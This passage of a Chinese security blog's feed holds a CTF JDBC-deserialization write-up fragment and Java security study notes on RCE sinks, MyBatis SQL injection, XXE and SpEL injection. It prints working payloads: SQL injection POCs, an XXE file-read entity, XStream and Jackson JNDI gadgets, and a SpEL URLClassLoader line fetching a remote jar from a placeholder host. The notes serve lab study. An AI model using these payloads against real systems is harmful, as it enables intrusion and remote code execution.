function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        serialize();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">DatabaseInfo</span> <span class="variable">d</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DatabaseInfo</span>();</span><br><span class="line">        d.setHost(<span class="string">&quot;x.x.x.x&quot;</span>);</span><br><span class="line">        d.setPort(<span class="string">&quot;3307&quot;</span>);</span><br><span class="line">        d.setUsername(<span class="string">&quot;root&quot;</span>);</span><br><span class="line">        d.setPassword(<span class="string">&quot;1&amp;autoDeserialize=true&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">InfoInvocationHandler</span> <span class="variable">ii</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InfoInvocationHandler</span>(d);</span><br><span class="line">        <span class="type">Info</span> <span class="variable">i</span> <span class="operator">=</span> (Info) Proxy.newProxyInstance(d.getClass().getClassLoader(), d.getClass().getInterfaces(), ii);</span><br><span class="line"></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line">        oos.writeObject(i);</span><br><span class="line">        oos.close();</span><br><span class="line">        System.out.println(<span class="keyword">new</span> <span class="title class_">String</span>(Base64.getEncoder().encode(baos.toByteArray())));</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>我猜是因为依赖项的版本问题无法加载</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409170021001.png" alt="image-20240917002129893"></p><p>毕竟是远古题了，就这样吧 (^^ ゞ</p><p><a class="link" href="https://antel0p3.github.io/2024/01/22/%E7%BE%8A%E5%9F%8E%E6%9D%AF2020-aPieceOfJava-wp/">羊城杯 2020-aPieceOfJava-wp | Antel0p3’s blog <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;a_piece_of_java&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#a_piece_of_java&quot;&gt;#&lt;/a&gt; a_piece_of_java&lt;/h2&gt;
&lt;p&gt;只是想复现一下理一下 jdbc 反序列化漏洞的思路和做题流程&lt;/</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>JavaSec-RCE&amp;SFJXL&amp;JNDI</title>
    <link href="http://example.com/2024/09/11/JavaSec-RCE-SFJXL-JNDI/"/>
    <id>http://example.com/2024/09/11/JavaSec-RCE-SFJXL-JNDI/</id>
    <published>2024-09-11T14:05:29.000Z</published>
    <updated>2024-09-11T16:39:27.891Z</updated>
    
    <content type="html"><![CDATA[<h2 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h2><p>5 大类函数调用</p><p>-Groovy</p><p>-RuntimeExec</p><p>-ProcessImpl</p><p>-ProcessBuilder</p><p>-ScriptEngineManager</p><p><strong>RuntimeExec</strong></p><p>远程命令执行漏洞，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令</p><p>可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。</p><p>getRuntime()常用于执行本地命令，使用频率较高。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409112213133.png" alt="image-20240911221309039"></p><p><strong>ScriptEngineManager</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 通过加载远程js文件来执行代码，如果加载了恶意js则会造成任意命令执行</span></span><br><span class="line"><span class="comment">// 远程恶意js: var a = mainOutput(); function mainOutput() &#123; var x=java.lang.Runtime.getRuntime().exec(&quot;open -a Calculator&quot;);&#125;</span></span><br><span class="line"><span class="comment">// ⚠️ 在Java 8之后移除了ScriptEngineManager的eval</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">jsEngine</span><span class="params">(String url)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">ScriptEngine</span> <span class="variable">engine</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ScriptEngineManager</span>().getEngineByName(<span class="string">&quot;JavaScript&quot;</span>);</span><br><span class="line">    <span class="type">Bindings</span> <span class="variable">bindings</span> <span class="operator">=</span> engine.getBindings(ScriptContext.ENGINE_SCOPE);</span><br><span class="line">    <span class="type">String</span> <span class="variable">payload</span> <span class="operator">=</span> String.format(<span class="string">&quot;load(&#x27;%s&#x27;)&quot;</span>, url);</span><br><span class="line">    engine.eval(payload, bindings);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>⚠️ 在Java 8之后移除了ScriptEngineManager的eval</p><p><strong>Groovy</strong></p><p>* windows: “calc”.execute()</p><p>* macos: “open -a Calculator”.execute()</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 不安全的使用Groovy调用命令</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> groovy.lang.GroovyShell;</span><br><span class="line"><span class="meta">@GetMapping(&quot;/groovy&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">groovy</span><span class="params">(String cmd)</span> &#123;</span><br><span class="line">    <span class="type">GroovyShell</span> <span class="variable">shell</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">GroovyShell</span>();</span><br><span class="line">    shell.evaluate(cmd);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>ProcessBuilder</strong></p><p>Process类是一个抽象类（所有的方法均是抽象的），封装了一个进程（即一个执行程序）。</p><p>Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁（杀掉）进程的方法。</p><p>ProcessBuilder.start() 和 Runtime.exec 方法创建一个本机进程，并返回 Process 子类的一个实例，该实例可用来控制进程并获取相关信息。</p><p>创建的子进程没有自己的终端或控制台。它的所有标准 io（即 stdin，stdout，stderr）操作都将通过三个流 (getOutputStream()，getInputStream()，getErrorStream()) 重定向到父进程，通过流的形式进行读取。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// new ProcessBuilder(command).start()</span></span><br><span class="line"><span class="comment">// 功能是利用ProcessBuilder执行ls命令查看文件，但攻击者通过拼接; &amp; |等连接符来执行自己的命令。</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">processbuilderVul</span><span class="params">(String filepath)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">    String[] cmdList = &#123;<span class="string">&quot;sh&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;ls -l &quot;</span> + filepath&#125;;</span><br><span class="line">    <span class="type">ProcessBuilder</span> <span class="variable">pb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProcessBuilder</span>(cmdList);</span><br><span class="line">    pb.redirectErrorStream(<span class="literal">true</span>);</span><br><span class="line">    <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> pb.start();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取命令的输出</span></span><br><span class="line">    <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> process.getInputStream();</span><br><span class="line">    <span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(inputStream));</span><br><span class="line">    String line;</span><br><span class="line">    <span class="type">StringBuilder</span> <span class="variable">output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">    <span class="keyword">while</span> ((line = reader.readLine()) != <span class="literal">null</span>) &#123;</span><br><span class="line">        output.append(line).append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> output.toString();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>ProcessImpl</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ProcessImpl 是更为底层的实现，Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类</span></span><br><span class="line"><span class="comment">// ProcessImpl 类是一个抽象类不能直接调用，但可以通过反射来间接调用ProcessImpl来达到执行命令的目的</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">vul</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">// 首先，使用 Class.forName 方法来获取 ProcessImpl 类的类对象</span></span><br><span class="line">    <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;java.lang.ProcessImpl&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 然后，使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法</span></span><br><span class="line">    <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> clazz.getDeclaredMethod(<span class="string">&quot;start&quot;</span>, String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, <span class="type">boolean</span>.class);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 使用 method.setAccessible 方法将 start 方法设为可访问</span></span><br><span class="line">    method.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 最后，使用 method.invoke 方法来调用 start 方法，并传入参数 cmd，执行命令</span></span><br><span class="line">    <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> (Process) method.invoke(<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;cmd&#125;, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">null</span>, <span class="literal">false</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="JNDI"><a href="#JNDI" class="headerlink" title="JNDI"></a>JNDI</h2><p><a class="link" href="https://fc04db.github.io/2024/08/31/JAVA-JNDI-RMI-LDAP/">JAVA-JNDI&amp;RMI&amp;LDAP - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>[浅析JNDI注入 <a class="link" href="https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/"> Mi1k7ea ] <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="不安全组件"><a href="#不安全组件" class="headerlink" title="不安全组件"></a>不安全组件</h2><p><a href="https://fc04db.github.io/2024/08/30/JAVA-Log4j-FastJson-JNDI/">JAVA-<strong>Log4j&amp;FastJson</strong>&amp;JNDI - Fc04dB’s BLOG</a></p><p><strong>Shiro</strong></p><p>Apache Shiro 是一个强大灵活的开源安全框架，可以完全处理身份验证、授权、加密和会话管理。</p><p><strong>XStream</strong></p><p>XStream是一个轻量级、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。</p><p>XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.16 及之前版本黑名单存在缺陷，攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求，进而执行任意命令。</p><p><code>&lt;sorted-set&gt;&lt;dynamic-proxy&gt;&lt;interface&gt;java.lang.Comparable&lt;/interface&gt;&lt;handler class=&quot;java.beans.EventHandler&quot;&gt;&lt;target class=&quot;java.lang.ProcessBuilder&quot;&gt;&lt;command&gt;&lt;string&gt;calc&lt;/string&gt;&lt;/command&gt;&lt;/target&gt;&lt;action&gt;start&lt;/action&gt;&lt;/handler&gt;&lt;/dynamic-proxy&gt;&lt;/sorted-set&gt;</code></p><p><strong>Jackson</strong></p><p>Jackson-databind 支持 Polymorphic Deserialization 特性（默认情况下不开启），当 json 字符串转换的 Target class 中有 polymorph fields，即字段类型为接口、抽象类或 Object 类型时，</p><p>攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类)，来实现实例化指定的类，借助某些特殊的 class，如 TemplatesImpl，可以实现任意代码执行。</p><p><code>[&quot;com.nqadmin.rowset.JdbcRowSetImpl&quot;,&#123;&quot;dataSourceName&quot;:&quot;ldap://127.0.0.1:1389/Exploit&quot;,&quot;autoCommit&quot;:&quot;true&quot;&#125;]</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;RCE&quot;&gt;&lt;a href=&quot;#RCE&quot; class=&quot;headerlink&quot; title=&quot;RCE&quot;&gt;&lt;/a&gt;RCE&lt;/h2&gt;&lt;p&gt;5 大类函数调用&lt;/p&gt;
&lt;p&gt;-Groovy&lt;/p&gt;
&lt;p&gt;-RuntimeExec&lt;/p&gt;
&lt;p&gt;-ProcessImpl&lt;/p</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JavaSec-SpEL&amp;SSTI&amp;XXE&amp;JDBC&amp;MyBatis</title>
    <link href="http://example.com/2024/09/10/JavaSec-SPEL-SSTI-XXE-JDBC-MyBatis/"/>
    <id>http://example.com/2024/09/10/JavaSec-SPEL-SSTI-XXE-JDBC-MyBatis/</id>
    <published>2024-09-10T13:03:29.000Z</published>
    <updated>2024-09-12T08:37:19.625Z</updated>
    
    <content type="html"><![CDATA[<h2 id="javasec靶场"><a class="markdownIt-Anchor" href="#javasec靶场">#</a> JavaSec 靶场</h2><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102222860.png" alt="image-20240910222212714"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102242169.png" alt="image-20240910224206076"></p><h2 id="sql注入"><a class="markdownIt-Anchor" href="#sql注入">#</a> SQL 注入</h2><h3 id="jdbc"><a class="markdownIt-Anchor" href="#jdbc">#</a> JDBC</h3><p>1、采用 Statement 方法拼接 SQL 语句</p><p>2、PrepareStatement 会对 SQL 语句进行预编译，但如果直接采取拼接的方式构造</p><p>SQL，此时进行预编译也无用。</p><p>3、JDBCTemplate 是 Spring 对 JDBC 的封装，如果使用拼接语句便会产生注入</p><p>安全写法：SQL 语句占位符（?） + PrepareStatement 预编译</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102247049.png" alt="image-20240910224723015"></p><h3 id="mybatis"><a class="markdownIt-Anchor" href="#mybatis">#</a> Mybatis</h3><p>MyBatis 支持两种参数符号，一种是 #，另一种是，#使用预编译，使用拼接 SQL。</p><p>Mybatis 模糊查询: Select * from users where username like ‘%#{username}%’</p><p>在这种情况下使用 # 程序会报错，把 # 号改成 $ 可以解决</p><p>但是如果 java 代码层面没有对用户输入的内容做处理，那么将会产生 SQL 注入漏洞。</p><p>正确写法: Select * from users where username like concat (’%’,#{username}, ‘%’)</p><p><strong>Like 注入</strong></p><p>模糊搜索时，直接使用’%#{q}%’ 会报错，部分研发图方便直接改成’%${q}%' 从而造成注入.</p><p>POC: xxx%’ union select database(),user(),@@version,4,5 – -</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102252379.png" alt="image-20240910225252356"></p><p><strong>order by 注入</strong></p><p>由于使用 #{} 会将对象转成字符串，形成 order by “user” desc 造成错误，因此很多研发会采用 ${} 来解决，从而造成注入.</p><p>POC: id and (updatexml(1,concat(0x7e,(select user())),0))-- -</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102258847.png" alt="image-20240910225841747"></p><p><strong>in 注入</strong></p><p>in 之后多个 id 查询时使用 # 同样会报错，从而造成注入.</p><p>POC: 1,2,3) and (updatexml(1,concat(0x7e,(select user())),0))-- -</p><h2 id="xxe"><a class="markdownIt-Anchor" href="#xxe">#</a> XXE</h2><p><a class="link" href="https://fc04db.github.io/2024/05/29/about-XML/#xxe">about XML - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>XML 外部实体注入，当开发人员配置其 XML 解析功能允许外部实体引用时，攻击者可利用这一可引发安全问题的配置方式，实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。</p><p><strong>XMLReader</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102342990.png" alt="image-20240910234213934"></p><p><strong>DocumentBuilder</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102349210.png" alt="image-20240910234908155"></p><p><strong>SAXReader</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102353762.png" alt="image-20240910235310714"></p><p><strong>Unmarshaller</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">  *  PoC</span></span><br><span class="line"><span class="comment">  * Content-Type: application/xml</span></span><br><span class="line"><span class="comment">  * &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;!DOCTYPE student[&lt;!ENTITY out SYSTEM &quot;file:///etc/hosts&quot;&gt;]&gt;&lt;student&gt;&lt;name&gt;&amp;out;&lt;/name&gt;&lt;/student&gt;</span></span><br><span class="line"><span class="comment">  */</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">Unmarshaller</span><span class="params">(<span class="meta">@RequestBody</span> String content)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">JAXBContext</span> <span class="variable">context</span> <span class="operator">=</span> JAXBContext.newInstance(Student.class);</span><br><span class="line">        <span class="type">Unmarshaller</span> <span class="variable">unmarshaller</span> <span class="operator">=</span> context.createUnmarshaller();</span><br><span class="line"></span><br><span class="line">        <span class="type">XMLInputFactory</span> <span class="variable">xif</span> <span class="operator">=</span> XMLInputFactory.newFactory();</span><br><span class="line">        <span class="comment">// 修复: 禁用外部实体</span></span><br><span class="line">        <span class="comment">// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, &quot;&quot;);</span></span><br><span class="line">        <span class="comment">// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, &quot;&quot;);</span></span><br><span class="line"></span><br><span class="line">        <span class="type">XMLStreamReader</span> <span class="variable">xsr</span> <span class="operator">=</span> xif.createXMLStreamReader(<span class="keyword">new</span> <span class="title class_">StringReader</span>(content));</span><br><span class="line"></span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> unmarshaller.unmarshal(xsr);</span><br><span class="line">        <span class="keyword">return</span> o.toString();</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">    e.printStackTrace();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>SAXBuilder</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409102354807.png" alt="image-20240910235402758"></p><h2 id="ssti"><a class="markdownIt-Anchor" href="#ssti">#</a> SSTI</h2><p><a class="link" href="https://fc04db.github.io/2024/07/09/SSTI/">SSTI - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>thymeleaf 模版注入</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409110023470.png" alt="image-20240911002358390"></p><p><a class="link" href="https://fc04db.github.io/2024/09/02/JAVA-SpringBoot-MyBatis-Thymeleaf/#ssti-thymeleaf">JAVA-SpringBoot&amp;MyBatis&amp;Thymeleaf - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="spel"><a class="markdownIt-Anchor" href="#spel">#</a> SpEL</h2><p>Spring Expression Language（简称 SpEL）是一种功能强大的表达式语言、用于在运行时查询和操作对象图；语法上类似于 Unified EL，但提供了更多的特性，特别是方法调用和基本字符串模板函数。</p><p>SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接，能提供一站式支持的表达式语言。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409110037108.png" alt="image-20240911003759026"></p><p><strong>一、表达式：</strong> 表达式是表达式语言的核心，所以表达式语言都是围绕表达式进行的，从我们角度来看是 “干什么”；</p><p><strong>二、解析器：</strong> 用于将字符串表达式解析为表达式对象，从我们角度来看是 “谁来干”；</p><p><strong>三、上下文：</strong> 表达式对象执行的环境，该环境可能定义变量、定义自定义函数、提供类型转换等等，从我们角度看是 “在哪干”；</p><p><strong>四、根对象及活动上下文对象：</strong> 根对象是默认的活动上下文对象，活动上下文对象表示了当前表达式操作的对象，从我们角度看是 “对谁干”。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409110047221.jpeg" alt="img"></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">1.首先定义表达式：“1+2”；</span><br><span class="line">2.定义解析器ExpressionParser实现，SpEL提供默认实现SpelExpressionParser；</span><br><span class="line">  2.1.SpelExpressionParser解析器内部使用Tokenizer类进行词法分析，即把字符串流分析为记号流，记号在SpEL使用Token类来表示；</span><br><span class="line">  2.2.有了记号流后，解析器便可根据记号流生成内部抽象语法树；在SpEL中语法树节点由SpelNode接口实现代表：如OpPlus表示加操作节点、IntLiteral表示int型字面量节点；使用SpelNodel实现组成了抽象语法树；</span><br><span class="line">  2.3.对外提供Expression接口来简化表示抽象语法树，从而隐藏内部实现细节，并提供getValue简单方法用于获取表达式值；SpEL提供默认实现为SpelExpression；</span><br><span class="line">3.定义表达式上下文对象（可选），SpEL使用EvaluationContext接口表示上下文对象，用于设置根对象、自定义变量、自定义函数、类型转换器等，SpEL提供默认实现StandardEvaluationContext；</span><br><span class="line">4.使用表达式对象根据上下文对象（可选）求值（调用表达式对象的getValue方法）获得结果。</span><br></pre></td></tr></table></figure></div><p><a class="link" href="https://cloud.tencent.com/developer/article/1676200">玩转 Spring 中强大的 spel 表达式！- 腾讯云开发者社区 - 腾讯云 (tencent.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>[<a class="link" href="https://blog.csdn.net/2301_80115097/article/details/134014498">Java 安全] Spring SPEL 注入总结 &amp; 回显技术_spring spel 表达式注入 - CSDN 博客 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>注入点 (payload)：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ExpressionParser</span> <span class="variable">parser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SpelExpressionParser</span>(); <span class="comment">//创建spel解析器</span></span><br><span class="line"><span class="type">Expression</span> <span class="variable">exp</span> <span class="operator">=</span> parser.parseExpression(payload); <span class="comment">//解析payload为表达式</span></span><br><span class="line">exp.getValue(); <span class="comment">//获取表达式的值（代码执行在这一步发生）</span></span><br></pre></td></tr></table></figure></div><p>1. 利用 ProcessBuilder RCE</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">ProcessBuilder</span>(<span class="string">&quot;cmd&quot;</span>,<span class="string">&quot;/c calc&quot;</span>).start()</span><br></pre></td></tr></table></figure></div><p>2. 利用 Runtime RCE</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(Runtime).getRuntime().exec(<span class="string">&quot;calc&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>3. 利用 ScriptEngine RCE</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">javax</span>.script.ScriptEngineManager().getEngineByName(<span class="string">&quot;js&quot;</span>).eval(<span class="string">&quot;java.lang.Runtime.getRuntime().exec(&#x27;calc&#x27;);&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>4. 利用 URLClassLoader 远程加载恶意类<br>在 vps 上托管恶意类，然后注入</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">java</span>.net.URLClassLoader(<span class="keyword">new</span> <span class="title class_">java</span>.net.URL[]&#123;<span class="keyword">new</span> <span class="title class_">java</span>.net.URL(<span class="string">&quot;http://ip:prot/Exp.jar&quot;</span>)&#125;).loadClass(<span class="string">&quot;Exp&quot;</span>).getConstructors</span><br></pre></td></tr></table></figure></div><p>[<a class="link" href="https://blog.csdn.net/2301_80115097/article/details/134014498">Java 安全] Spring SPEL 注入总结 &amp; 回显技术_spring spel 表达式注入 - CSDN 博客 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="http://rui0.cn/archives/1043">由浅入深 SpEL 表达式注入漏洞 - Ruilin (rui0.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>SpEL 支持以下功能。</p><ul><li>Literal expressions</li><li>Boolean and relational operators</li><li>Regular expressions</li><li><strong>Class expressions</strong></li><li>Accessing properties, arrays, lists, maps</li><li><strong>Method invocation</strong></li><li>Relational operators</li><li>Assignment</li><li><strong>Calling constructors</strong></li><li><strong>Bean references</strong></li><li>Array construction</li><li>Inline lists</li><li>Ternary operator</li><li><strong>Variables</strong></li><li><strong>User defined functions</strong></li><li>Collection projection</li><li>Collection selection</li><li><strong>Templated expressions</strong></li></ul><h4 id="spel语法"><a class="markdownIt-Anchor" href="#spel语法">#</a> .SpEL 语法</h4><p>SpEL 使用  <code>#&#123;...&#125;</code>  作为定界符，所有在大括号中的字符都将被认为是 SpEL 表达式，我们可以在其中使用运算符，变量以及引用 bean，属性和方法如：</p><blockquote><p>引用其他对象: <code>#&#123;car&#125;</code> <br> 引用其他对象的属性： <code>#&#123;car.brand&#125;</code> <br> 调用其它方法，还可以链式操作： <code>#&#123;car.toString()&#125;</code></p></blockquote><p>其中属性名称引用还可以用 <code>$</code>  符号 如： <code>$&#123;someProperty&#125;</code> <br> 除此以外在 SpEL 中，使用 <code>T()</code>  运算符会调用类作用域的方法和常量。例如，在 SpEL 中使用 Java 的 